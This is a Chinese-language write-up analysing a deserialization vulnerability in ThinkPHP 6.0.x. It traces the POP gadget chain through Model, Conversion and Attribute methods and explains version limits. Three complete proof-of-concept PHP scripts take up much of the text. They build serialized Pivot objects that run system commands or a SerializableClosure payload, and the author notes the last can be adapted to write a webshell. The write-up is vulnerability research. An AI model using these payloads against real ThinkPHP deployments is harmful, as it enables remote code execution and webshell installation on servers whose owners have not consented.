ThinkPHP v6.0.x 反序列化漏洞 分析

前言

可能下的环境有问题,不多说了

参考:

ThinkPHP 6 反序列化漏洞

ThinkPHP V6.0.x 反序列化漏洞

前面的方法跟6.0.9那里一样 不管是通过updateData()还是通过insertData() 最后都是走到 $this->db() 来触发__toString

分析

这里直接省略前面 跟进updateData()

所以多出的条件是 $this->exists = true

这里的 __toString 是在 Conversion 进行触发的

跟进 toArray()

这里

$data = array_merge($this->data, $this->relation);

$data 合并了 $this->data, $this->relation

然后进行
foreach ($data as $key => $val)

那么这里的 $key 包含了 $this->data, $this->relation 的key 我称它为大key

跟进 getAttr() 这里传入的参数$name是大key

跟进 getData()

再跟进 getRealFieldName() 传入的参数依然是 大key

还是返回 $name 这里返回到 getData()

接着进入 if 就是看这个大key不论是$this->data, $this->relation 中的哪一个 ,然后返回到 getAttr() 作为变量 $value

跟进 getValue()

最后实例化抽象类Model还是用 Pivot类

但是可能我tp版本太高了存在这一句

if ($closure instanceof \Closure)

可以看一下不一样的地方

导致exp无法利用

具体解释:

这里不再直接使用$closure来处理,而是先判断是否继承闭包,因为反序列化闭包的存在,我认为还是可以上面的链子的,但是topthink/framework 在v6.0.3 版本后不再使用opis/closure 依赖,导致没办法利用。

所以上面的利用链只能在 tp6.0.3及以前的版本使用

v6.0.3之前

poc 6.0.3之前:

<?php
namespace think\model\concern;

trait Attribute{
private $data=['jiang'=>'whoami'];
private $withAttr=['jiang'=>'system'];
}
trait ModelEvent{
protected $withEvent;
}

namespace think;

abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
{
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
}
}

namespace think\model;

use think\Model;

class Pivot extends Model{}

echo urlencode(serialize(new Pivot(new Pivot())));
?>

v6.0.0-v6.0.12

不过在利用点上面的if语句里有 getJsonValue 方法

跟进,利用没有限制

还是可以利用

不过在进入getJsonValue之前的那个if 得通过修改$this->json来进入if

还有让$this->jsonAssoc = true 而且必须是数组套数组的形式

poc: 测试6.0.9也可执行

<?php
namespace think\model\concern;

trait Attribute{
private $data=['jiang'=>['jiang'=>'calc']];
private $withAttr=['jiang'=>['jiang'=>'system']];
protected $json=["jiang"];
protected $jsonAssoc = true;
}
trait ModelEvent{
protected $withEvent;
}

namespace think;

abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;


function __construct($a = '')
{
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
}
}

namespace think\model;

use think\Model;

class Pivot extends Model{}

echo urlencode(serialize(new Pivot(new Pivot())));
?>

SerializableClosure(v6.0.3)

还有另外一种 利用 SerializableClosure 来构造payload

还有一种方法就是用 ThinkPHP 自带的 SerializableClosure 来调用,我们来看一下这个方法。
主要是上面 getValue() 方法里的漏洞点,也就是构造pop链的最后的地方:

$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);

我们通过一步步控制 $closure$this->data 最后构造并执行了动态函数。但是由于参数的限制,通过第一种方法我们无法执行 phpinfo() 这样的函数,所以我们尝试另一种方法,也就是利用 SerializableClosure。

\Opis\Closure 可用于序列化匿名函数,使得匿名函数同样可以进行序列化操作。这意味着我们可以序列化一个匿名函数,然后交由上述的 $closure($value, $this->data) 调用执行,即:

$func = function(){phpinfo();};
$closure = new \Opis\Closure\SerializableClosure($func);
$closure($value, $this->data); // 这里的参数可以不用管

以上述代码为例,将调用phpinfo()函数。同样也可以通过将 phpinfo(); 改为别的来写webshell。

修改上面的 v6.0.3 的POC即可:

<?php
namespace think\model\concern;

trait Attribute{
private $data;
private $withAttr;
}
trait ModelEvent{
protected $withEvent;
}

namespace think;

abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
{
$func = function(){phpinfo();}; //可写马,测试用的phpinfo;
$b=\Opis\Closure\serialize($func);
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
$this->data=['jiang'=>''];

$c=unserialize($b);
$this->withAttr=['jiang'=>$c];
}
}

namespace think\model;

use think\Model;

class Pivot extends Model{}
require 'closure/autoload.php';
echo urlencode(serialize(new Pivot(new Pivot())));

?>

本地构造 poc 需要下载文件 https://github.com/opis/closure

将 poc.php 与文件夹放到同一目录下